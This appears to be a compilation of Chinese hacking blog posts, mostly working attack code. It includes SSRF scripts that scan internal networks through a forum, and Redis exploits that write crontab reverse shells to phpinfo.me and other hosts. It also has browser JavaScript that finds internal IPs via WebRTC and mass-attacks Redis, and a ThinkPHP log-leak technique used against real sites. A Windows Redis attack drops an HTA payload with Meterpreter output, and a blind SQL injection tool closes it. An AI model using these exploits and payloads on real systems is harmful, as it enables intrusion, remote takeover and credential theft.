扫描本机开放的端口:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2016-07-05 20:55:30
# @Last Modified by:   Lcy
# @Last Modified time: 2016-10-10 16:26:14
import requests
import threading
import Queue
import time

threads_count = 2
que = Queue.Queue()
lock = threading.Lock()
threads = []
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
for i in ports:
    que.put(str(i))
def run():
    while que.qsize() > 0:
        p = que.get()
        print p + "       \r",
        try:
            url = "http://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip=127.0.0.1%26port={port}%26data=helo.jpg[/img]".format(
                port=p)
            r = requests.get(url,timeout=2.8)
        except:
            lock.acquire()
            print "{port}  Open".format(port=p)
            lock.release()
for i in range(threads_count):
    t = threading.Thread(target=run)
    threads.append(t)
    t.setDaemon(True)
    t.start()

while que.qsize() > 0:
    time.sleep(1.0)

扫描内网开放6379端口的主机:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2016-07-05 20:55:30
# @Last Modified by:   Lcy
# @Last Modified time: 2016-07-21 14:38:04
import requests
import threading
import Queue
import time
threads_count = 20
que = Queue.Queue()
lock = threading.Lock()
threads = []
ip = "10.171."
for i in range(1,255):
    for j in range(1,255):
        que.put(ip + str(i) + '.'+str(j))
# for i in range(0,255):
#     que.put(ip + str(i))
def run():
    while que.qsize() > 0:
        ip = que.get()
        try:
            url = "http://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip={ip}%26port={port}%26data=helo.jpg[/img]".format(
                ip=ip,
                port="65321")
            r = requests.get(url,timeout=5)
            
            try:
                url = "https://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip={ip}%26port={port}%26data=helo.jpg[/img]".format(
                ip=ip,
                port="6379")
                r = requests.get(url,timeout=5)
                lock.acquire()
                print ip
                lock.release()
            except :
                lock.acquire()
                print "{ip}  6379 Open".format(ip=ip)
                lock.release()
        except:
            pass

for i in range(threads_count):
    t = threading.Thread(target=run)
    threads.append(t)
    t.setDaemon(True)
    t.start()
while que.qsize() > 0:
    time.sleep(1.0)

通过ssrf操作内网redis写任务计划反弹shell:

#!/usr/bin/env python
# coding=utf-8
# email: ringzero@0x557.org

import requests

host = '10.171.26.22'
port = '6379'
bhost = 'phpinfo.me'
bport = '32'

vul_httpurl = 'https://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]'

_location = 'http://tools.phpinfo.me/ssrf.php'

shell_location = 'http://tools.phpinfo.me/shell.php'


#1 flush db

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#2 set crontab command

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(

    host = host,

    port = port,

    bhost = bhost,

    bport = bport)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#3 config set dir /var/spool/cron/

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#4 config set dbfilename root

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#5 save to file

_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

ssrf.php:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

 

shell.php:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>

 

ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多站都没关的,所以影响应该很大吧

我们来看一下ThinkPHP3.2版本生成日志结构:

123

THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log

THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log

可以看到是 :项目名\Runtime\Logs\Home\年份_月份_日期.log

这样的话日志很容易被猜解到,而且日志里面有执行SQL语句的记录,这里我随便找几个tp站测试一下:

http://demo.xxxxx.cc/Runtime/Logs/User/16_09_06.log 成功下载,并且找到一个用户的密码

 

log

成功登录:

233333

我们再找一个案例:http://www.xxxxxx.com/Runtime/Logs/Home/16_09_06.log

 

1234

成功登录:

onethink官网测试

http://www.onethink.cn/Runtime/Logs/16_09_07.log

 

修复办法:

删除Runtime/Logs下的所有文件,并将APP_DEBUG设置为false

利用xss或者社工让对方点我的链接,然后利用js自动化攻击内网redis,

利用redis写任务计划批量反弹shell。

js扫内网6379不太好实现,就不进行端口探测了,直接对整个网段执行一遍exp

利用如下代码获取内网ip段:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <title>Document</title>
</head>
<body>
    
</body>
<script>
    ipList = []
    var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1]; 
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp()
setTimeout(function() {
    alert(ipList)
}, 300)
</script>
</html>

 

效果如下图

 

利用ajax攻击redis原理:

参考文章:http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

https://www.t00ls.net/thread-34873-1-1.html

http://www.freebuf.com/articles/web/19622.html

 

下面是一个ajax操作redis写任务计划反弹的例子:

var ip = '192.168.203.2';
var port= '6379';
var dir = '/var/spool/cron/';
var filename = 'root';
var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/phpinfo.me/53 0>&1';
var url = "http://" + ip + ":" + port;

var cmd = new XMLHttpRequest();
cmd.open("POST",  url);
cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\n'+content+'\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + dir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"'+filename+'\"); ' + '\' 0' + "\r\n");
 
var cmd = new XMLHttpRequest();
cmd.open("POST",  url);
cmd.send('save\r\n');

 

最后来实现自动获取内网ip,自动批量攻击内网1-255的ip

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <title>Document</title>
</head>
<body>
    
</body>
<script>
    ipList = []
    var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1]; 
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp()
setTimeout(function() {
    for(var i in ipList) {
        if(ipList[i]) {
            var iparr = ipList[i].split(".");
            for(var i=0;i<255;i++) {
                var attkip = iparr [0] + "." + iparr [1] + "." + iparr [2] + "." + i;
                send(attkip);
            }
        }
    }
}, 300);

function send(ip) {
    var port= '6379';
    var dir = '/var/spool/cron/';
    var filename = 'root';
    var content = '*/1 * * * * /bin/bash -i >& /dev/tcp/phpinfo.me/53 0>&1';
    var url = "http://" + ip + ":" + port;

    var cmd = new XMLHttpRequest();
    cmd.open("POST",  url);
    cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\n'+content+'\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + dir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"'+filename+'\"); ' + '\' 0' + "\r\n");
     
    var cmd = new XMLHttpRequest();
    cmd.open("POST",  url);
    cmd.send('save\r\n');
    
}

</script>
</html>

如果嫌1-255不够可以再加一个for循环

 

自动向内网redis发送攻击代码

然后在自己的服务器中用nc监听你设置的端口,然后你会发现服务器已经躺在这了

ok

 

 

测试模块已加入xss平台:http://xss.phpinfo.me/

redis

linux利用(转自wooyun)

redis的exploit,完全不需要flushall破坏数据场景,redis-cli set 1 'ringzero',这样可以控制第一条记录,就能保证你的内容始终保持在最前面;

测试环境:CentOS,RHEL

# 利用crontab反弹shell

redis-cli flushall 
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1 
redis-cli config set dir /var/spool/cron/ 
redis-cli config set dbfilename root 
redis-cli save

# 利用crontab创建文件 /tmp/888

redis-cli flushall # 为了方便测试 
redis-cli set test 'test' 
redis-cli set my 'mymymymymymymymymymymymy' 
redis-cli set word 'wordwordwordwordwordword' 
redis-cli set hello 'ringzero' 
redis-cli set word1 'word1word1word1word1word1word1' 
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1 
redis-cli config set dir /var/spool/cron/ 
redis-cli config set dbfilename root 
redis-cli save
redis-cli flushall 
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1 
redis-cli config set dir /var/spool/cron/ 
redis-cli config set dbfilename root 
redis-cli save

# 二次改写crontab

redis-cli flushall 
redis-cli set 2 ';a=`redis-cli get c`;' 
redis-cli set 1 'id;redis-cli set r `$a`;#' 
redis-cli config set dir /tmp/ 
redis-cli config set dbfilename w 
redis-cli save 
redis-cli set c whoami

# 利用第一步的写crontab步骤,完成下面的命令

echo " " > /tmp/zz 
cat /tmp/w >> /tmp/zz 
/bin/sh /tmp/zz 
redis-cli get r

控制 /var/spool/cron/root 和 /tmp/zz

# 最终实现,每10秒从redis的c变量读入要执行的命令,再将执行结果写入变量r

* * * * * sleep 10;/bin/sh /tmp/zz

windows利用方式(转自90sec)

redis 官方未发布windows版本,但是野外存在redis/win版本。

在测试时发现一windows版本redis,遂开始搞。

直接上利用,基于msf:

root@weisuo.org:~# cat hta-psh.txt 
 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
[url=mailto:root@weisuo.org]root@weisuo.org[/url]:~#  cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
OK

hta-psh.txt 对一些字符串进行变通,如不,在写入时会导致字符串丢失。

#msfconsole 
use payload/windows/meterpreter/reverse_tcp
generate -t hta-psh -f /var/www/1.ps1
#之后起个handle,略

修改1.ps1,文件内容大概如下:

$command="powershell -nop -w hidden -e xxxxxxxxxxxxxxxx";iex $command;$command2="taskkill /im mshta.exe";iex $command2;

最后写入文件,等待管理员登陆

oot@xxx:~# redis-cli -h 192.168.138.27
redis 192.168.138.27:6379> CONFIG GET dir
1) "dir"
2) "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
redis 192.168.138.27:6379> config get dbfilename
1) "dbfilename"
2) "2.hta"
redis 192.168.138.27:6379> save
OK
redis 192.168.138.27:6379>[/p][p=20, null, left]

 

msf exploit(handler) > rexploit -j -z
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.
 
[*] Started reverse TCP handler on x.x.x.x:80
msf exploit(handler) > [*] Starting the payload handler...
[*] Sending stage (957999 bytes) to x.x.x.x
[*] Meterpreter session 4 opened (x.x.x.x:80 -> x.x.x.x:56301) at 2016-06-06 11:06:00 -0400
[*] Session ID 4 (x.x.x.x:80 -> x.x.x.x:56301) processing AutoRunScript 'migrate -f'
[*] Current server process: powershell.exe (4896)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3768
[+] Successfully migrated to process

看了freebuf的mysql延迟注入课程,感觉他那个突破延迟注入时间限制的思路非常不错

课程地址:http://yuntv.letv.com/bcloud.html?uu=cbb16903e4&vu=f69b1ac857&width=1024&height=576

然后自己写了个py的demo,代码写的渣勿笑~

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2015-08-29 22:26:17
# @Last Modified by:   Sunshie
# @Last Modified time: 2015-08-30 01:48:41
# blog:https://phpinfo.me
# 延迟注入工具
import urllib2
import time
import socket
import threading
import requests

class my_threading(threading.Thread):
		def __init__(self, str,x):
				threading.Thread.__init__(self)
				self.str = str
				self.x = x
		def run(self):
			global res
			x=self.x
			j = self.str
			url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
			html = request(url) 
			verify = 'timeout' 
			if verify not in html: 
				res[str(j)] = 0
				#print 1
			else:
				res[str(j)] = 1
	

def request(URL): 
	user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } 
	req = urllib2.Request(URL, None, user_agent)  
	try: 
		request = urllib2.urlopen(req,timeout=2) 
	except Exception ,e: 
		time.sleep(2)
		return 'timeout' 
	return request.read() 	

def curl(url):
	try:
			start = time.clock()
			requests.get(url)
			end = time.clock()
			return int(end)
	except requests.RequestException as e:
			print u"访问出错!"
			exit()
def getLength():
	i = 0
	while True:
		print "[+] Checking: %s \r" %i
		url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
		html = request(url) 
		verify = 'timeout' 
		if verify in html: 
			print u"[+] 数据长度为: %s" %i
			return i
		
		i = i + 1
def bin2dec(string_num):
	return int(string_num, 2)

def getData(dataLength):
	global res
	data = ""
	for x in range(dataLength):
		x = x + 1
		#print x
		threads = []
		for j in range(8):
			result = ""
			j = j + 1
			sb = my_threading(j,x)
			sb.setDaemon(True)
			threads.append(sb)
			#print j
		for t in threads:
				t.start()
		for t in threads:
				t.join()
		#print res
		tmp = ""
		for i in range(8):
			tmp = tmp + str(res[str(i+1)])
		#print chr(bin2dec(tmp))
		res = {}
		result = chr(bin2dec(tmp))
		print result
		data = data + result
		sb = None
	print "[+] ok!"
	print "[+] result:" + data


if __name__ == '__main__':
	stop = False
	res = {}
	length = getLength()
	getData(length)

1.php代码如下:

<?php
/* 
* @Author: Lcy
* @Date:   2015-08-29 22:09:59
* @Last Modified by:   Sunshie
* @Last Modified time: 2015-08-30 01:46:17
* 延迟注入测试
*/
header("Content-type:text/html;charset=utf8");
$link = mysql_connect("localhost", "root","");
mysql_select_db("mysql", $link);
mysql_set_charset("utf8");
$sql = "SELECT user FROM user where user='{$_GET['username']}'";
echo $sql;
$query = mysql_query($sql);
echo "这是一个没有任何回显的注入点";

?>

py

如果要爆数据啥的话就改py代码里面的select%20user(),替换为你要执行的sql即可